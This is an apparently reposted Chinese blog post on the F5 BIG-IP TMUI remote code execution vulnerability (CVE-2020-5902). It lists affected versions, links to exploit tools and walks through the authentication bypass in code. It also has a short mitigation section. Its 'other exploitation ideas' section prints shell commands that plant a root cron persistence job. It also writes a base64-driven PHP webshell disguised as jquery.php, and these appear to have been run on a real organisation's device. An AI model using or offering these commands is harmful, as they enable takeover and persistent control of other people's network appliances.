F5 BIG-IP远程代码执行漏洞

 F5 RCE和Getshell

0x01 漏洞概述

在 F5 BIG-IP 产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞。

未授权的远程攻击者通过向该页面发送特制的请求包,可以造成任意Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。

影响范围

BIG-IP 15.x: 15.1.0/15.0.0

BIG-IP 14.x: 14.1.0 ~ 14.1.2

BIG-IP 13.x: 13.1.0 ~ 13.1.3

BIG-IP 12.x: 12.1.0 ~ 12.1.5

BIG-IP 11.x: 11.6.1 ~ 11.6.5

0x02 漏洞复现

连夜写了个一键getshell的工具

一键getshell:

扫描二维码关注公众号,回复: 11578938 查看本文章

任意文件读取:

ps:感谢syst1m师傅带我

0x03 其他利用思路

   1 JDBC反序列化:https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/

            利用方法和工具:https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902

   JDBC反序列化原理:https://xz.aliyun.com/t/7067

  2 写webshell:

[root@hyundai_movis_vpn1:Active:In Sync] tmp # cat b744bf80-c14d-11ea-a8af-c0b883e8aceb
echo "2 * * * * /bin/sh /var/lib/logrotate.sh" >> /var/spool/cron/root;id
cat /var/lib/logrotate.sh
mount -o remount -rw /usr ;echo 'It works!<?php $a=base64_decode(@$_GET["bigip_g78kd3"]);system($a,$out);echo($out);?> ' > /usr/local/www/xui/common/scripts/jquery.php;mount -o remount -r /usr

 至于为啥用mount -o remount -rw /usr

我在F5上测试了一下,单用户模式下通过执行mount -o remount -rw /usr后就可以有些写权限 了

[root@hyundai_movis_vpn1:Active:In Sync] login # mount -o remount -r /usr
[root@hyundai_movis_vpn1:Active:In Sync] login # echo "1111">1.txt
-bash: 1.txt: Read-only file system
[root@hyundai_movis_vpn1:Active:In Sync] login # mount -o remount -rw /usr
[root@hyundai_movis_vpn1:Active:In Sync] login # echo "1111">1.txt

0x04 漏洞分析

ps:感谢天天师傅提供的code

urI中存在../;绕过登录验证,这个是属于tomcat对URI解析差异导致绕过了原有的权限校验,导致可以直接访问到 tmshCmd.jsp, 对应代码:tmshCmd_jsp.java 文件 cmd参数直接从请求中获取(tomcat解析差异)

跟进WorkspaceUtils类中runTmshCommand方法,从导入包中寻找 com.f5.tmui.locallb.handler.workspace.WorkspaceUtils对应的文件

在lib中找到对应jar包,反编译

 紧接着上文runTmshCommand方法,可以看到在38行处,做了命令判断,命令被分割后,仅允许 create,delete,list,modify等开头的命令

跟进Syscall.callElevated方法,调用了call方法:

可以看到,args放到了ObjectManager里面,通过DataObject[] rs = om.queryStats(query);这行代码 把执行的命令的结果返回

F5 文件写入:

对应的jsp代码文件

跟进对应的save方法,可以看到参数一路传递,fileName为路径,content为内容,最终通过 writer.println写入

 F5任意文件读取:

请求路径

对应的jsp代码文件

对应具体实现方法:

修复方案:

官方建议可以通过以下步骤暂时缓解影响(临时修复方案)

1) 使用以下命令登录对应系统

tmsh

2) 编辑 httpd 组件的配置文件

edit /sys httpd all-properties

3) 文件内容如下

include ' <LocationMatch "...;."> Redirect 404 / </LocationMatch> '

4) 按照如下操作保存文件

按下 ESC 并依次输入 :wq

5) 执行命令刷新配置文件

save /sys config

6) 重启 httpd 服务

restart sys service httpd 并禁止外部IP对 TMUI 页面的访问

参考链接:

https://mp.weixin.qq.com/s/K2lSSih4lD0SwXPNd4yauA

https://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/

https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902

https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/

猜你喜欢

转载自blog.csdn.net/qq_38376348/article/details/107224024